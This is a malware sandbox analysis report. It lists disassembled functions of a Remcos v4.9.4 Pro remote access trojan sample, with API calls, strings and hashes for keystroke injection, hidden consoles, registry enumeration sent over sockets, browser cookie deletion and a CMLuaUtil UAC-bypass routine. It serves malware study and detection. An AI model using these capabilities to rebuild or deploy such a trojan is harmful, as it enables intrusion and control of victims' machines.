Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE

Strings

t^F, xrefs: 00411D02

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
String ID: t^F
API String ID: 3950776272-389975521
Opcode ID: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
Opcode Fuzzy Hash: 461a53a6892bac39e8501077da2db8edf6161aa159888280e3eaf045f7e1ced3
Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 004018BE
ExitThread.KERNEL32 ref: 004018F6
waveInUnprepareHeader.WINMM(?,00000020,00000000,?,00000020,00474EE0,00000000), ref: 00401A04

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

Strings

NG, xrefs: 0040190D
NG, xrefs: 00401990
XMG, xrefs: 00401902
PkG, xrefs: 00401888

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
String ID: PkG$XMG$NG$NG
API String ID: 1649129571-3151166067
Opcode ID: a9a7ce0a0b90b44db80bc4e59ffcd89cd879969cdb5479c222021ee2e07a9105
Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
Opcode Fuzzy Hash: a9a7ce0a0b90b44db80bc4e59ffcd89cd879969cdb5479c222021ee2e07a9105
Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E

Uniqueness

Uniqueness Score: -1.00%

Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,00474EE0,00465FA4,?,00000000,00407FFC,00000000), ref: 004079C5
WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A0D

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

CloseHandle.KERNEL32(00000000,?,00000000,00407FFC,00000000,?,?,0000000A,00000000), ref: 00407A4D
MoveFileW.KERNEL32(00000000,00000000), ref: 00407A6A
CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407A95
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5

Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(00000000,000000FF,?,00474EF8,00404C49,00000000,00000000,00000000,?,00474EF8,?), ref: 00404BA5
Part of subcall function 00404B96: SetEvent.KERNEL32(00000000), ref: 00404BC3

Strings

.part, xrefs: 00407989

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
String ID: .part
API String ID: 1303771098-3499674018
Opcode ID: e279c082a0d0910cbf5de12e36227e1aa9d15681696cbfcdd7b3720dc44f8cc2
Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
Opcode Fuzzy Hash: e279c082a0d0910cbf5de12e36227e1aa9d15681696cbfcdd7b3720dc44f8cc2
Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CD9B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

AllocConsole.KERNEL32(00475338), ref: 0041CDA4
GetConsoleWindow.KERNEL32 ref: 0041CDAA
ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2

Strings

Remcos v, xrefs: 0041CDFD
CONOUT$, xrefs: 0041CDD0
4.9.4 Pro, xrefs: 0041CE0B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Console$Window$AllocOutputShow
String ID: Remcos v$4.9.4 Pro$CONOUT$
API String ID: 4067487056-3065609815
Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E

Uniqueness

Uniqueness Score: -1.00%

Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 004199CC
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 004199ED
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A0D
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A21
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 00419A37
SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 00419A54
SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 00419A6F
SendInput.USER32(00000001,?,0000001C,?,00000000), ref: 00419A8B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97

Uniqueness

Uniqueness Score: -1.00%

Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00447679
__freea.LIBCMT ref: 00447723
__freea.LIBCMT ref: 00447741

Part of subcall function 00435E40: _free.LIBCMT ref: 00435E56

Strings

a/p, xrefs: 00447808
zD, xrefs: 004479AB
am/pm, xrefs: 004477A4

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16_free
String ID: a/p$am/pm$zD
API String ID: 2936374016-2723203690
Opcode ID: e0ecee58873bfc0077d13325f43c3460f208f04ecf7db505f3535ec2a758da20
Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
Opcode Fuzzy Hash: e0ecee58873bfc0077d13325f43c3460f208f04ecf7db505f3535ec2a758da20
Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413AEB
RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 00413B8B

Strings

TG, xrefs: 00413BFD
xUG, xrefs: 00413C46
[regsplt], xrefs: 00413C17

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Enum$InfoQueryValue
String ID: [regsplt]$xUG$TG
API String ID: 3554306468-1165877943
Opcode ID: 93e1897ebdc99b88186db92230c2e95498abfdd16b02543cd39a55fa0a109888
Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
Opcode Fuzzy Hash: 93e1897ebdc99b88186db92230c2e95498abfdd16b02543cd39a55fa0a109888
Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00456D49

Strings

D[E, xrefs: 00456C6D, 00456D5E
D[E, xrefs: 00456D10

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free
String ID: D[E$D[E
API String ID: 269201875-3695742444
Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D

Uniqueness

Uniqueness Score: -1.00%

Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 00413D46

Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413AEB

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

RegCloseKey.ADVAPI32(00000000,004660A4,004660A4,00466468,00466468,00000071), ref: 00413EB4

Strings

NG, xrefs: 00413D69
NG, xrefs: 00413E23
TG, xrefs: 00413E9A
xUG, xrefs: 00413EA6

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseEnumInfoOpenQuerysend
String ID: xUG$NG$NG$TG
API String ID: 3114080316-2811732169
Opcode ID: f05c03517f952f3a355b8cbbd5c3f5256b4ab212a1f163f9846f57004d6dde5d
Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
Opcode Fuzzy Hash: f05c03517f952f3a355b8cbbd5c3f5256b4ab212a1f163f9846f57004d6dde5d
Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E

Uniqueness

Uniqueness Score: -1.00%

Function 0045112C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,000000FF,?,00000000,00000000,0043F8C8,?,00000000,?,00000001,?,000000FF,00000001,0043F8C8,?), ref: 00451179
__alloca_probe_16.LIBCMT ref: 004511B1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00451202
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00451214
__freea.LIBCMT ref: 0045121D

Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169

Strings

PkGNG, xrefs: 0045112E

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID: PkGNG
API String ID: 313313983-263838557
Opcode ID: 91877320caf02f46ead72dc2d27e097aa9d58b2df1b48cbe6668f1112c1efda2
Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
Opcode Fuzzy Hash: 91877320caf02f46ead72dc2d27e097aa9d58b2df1b48cbe6668f1112c1efda2
Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?,004750E4), ref: 0041363D
Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665

Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF

_wcslen.LIBCMT ref: 0041B763

Strings

http\shell\open\command, xrefs: 0041B69A
program files (x86)\, xrefs: 0041B75D
program files\, xrefs: 0041B749, 0041B750, 0041B762
8SG, xrefs: 0041B709, 0041B70E
.exe, xrefs: 0041B6B5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentOpenQueryValueWow64_wcslen
String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
API String ID: 3286818993-122982132
Opcode ID: ff64268ecf0c31a6c4424bc126999b380d0383f46c80c29dc48f1e307bbff0a4
Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
Opcode Fuzzy Hash: ff64268ecf0c31a6c4424bc126999b380d0383f46c80c29dc48f1e307bbff0a4
Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 004135A6: RegOpenKeyExA.KERNELBASE(80000001,00000400,00000000,00020019,?), ref: 004135CA
Part of subcall function 004135A6: RegQueryValueExA.KERNELBASE(?,?,00000000,00000000,?,00000400), ref: 004135E7
Part of subcall function 004135A6: RegCloseKey.KERNELBASE(?), ref: 004135F2

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
PathFileExistsA.SHLWAPI(?), ref: 0040BF78

Strings

[IE cookies cleared!], xrefs: 0040BFC5, 0040BFEA
[IE cookies not found], xrefs: 0040BF40
Cookies, xrefs: 0040BEFD
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders, xrefs: 0040BF02

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
API String ID: 1133728706-4073444585
Opcode ID: 1e05d710c332b0c32bace29fd72cf7e3a184a0c4047cd7709485bc9a7fc4ad42
Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
Opcode Fuzzy Hash: 1e05d710c332b0c32bace29fd72cf7e3a184a0c4047cd7709485bc9a7fc4ad42
Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE

Uniqueness

Uniqueness Score: -1.00%

Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 934edf86da25d837fa7b61c38a686264b457019a14f29bbb32a15566fa7518be
Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
Opcode Fuzzy Hash: 934edf86da25d837fa7b61c38a686264b457019a14f29bbb32a15566fa7518be
Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A

_free.LIBCMT ref: 00450F48

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00450F53
_free.LIBCMT ref: 00450F5E
_free.LIBCMT ref: 00450FB2
_free.LIBCMT ref: 00450FBD
_free.LIBCMT ref: 00450FC8
_free.LIBCMT ref: 00450FD3

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745

Uniqueness

Uniqueness Score: -1.00%

Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00411170
int.LIBCPMT ref: 00411183

Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC

std::_Facet_Register.LIBCPMT ref: 004111C3
std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
__CxxThrowException@8.LIBVCRUNTIME ref: 004111EA

Strings

(mG, xrefs: 0041117B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
String ID: (mG
API String ID: 2536120697-4059303827
Opcode ID: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
Opcode Fuzzy Hash: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D

Uniqueness

Uniqueness Score: -1.00%

Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Users\Public\Libraries\nmfsxfjX.pif), ref: 004075D0

Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582

CoUninitialize.OLE32 ref: 00407629

Strings

C:\Users\Public\Libraries\nmfsxfjX.pif, xrefs: 004075B0, 004075B3, 00407605
[+] ShellExec success, xrefs: 0040760E
[+] before ShellExec, xrefs: 004075F1
[+] ucmCMLuaUtilShellExecMethod, xrefs: 004075B5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: InitializeObjectUninitialize_wcslen
String ID: C:\Users\Public\Libraries\nmfsxfjX.pif$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
API String ID: 3851391207-3769394047
Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
GetLastError.KERNEL32 ref: 0040BAE7

Strings

\AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
UserProfile, xrefs: 0040BAAD
[Chrome Cookies not found], xrefs: 0040BB01
[Chrome Cookies found, cleared!], xrefs: 0040BB0D

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
API String ID: 2018770650-304995407
Opcode ID: c69a48e60de484867d8b749c5ae4c270b90bc560c43d961a50d917c7878b2bfc
Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
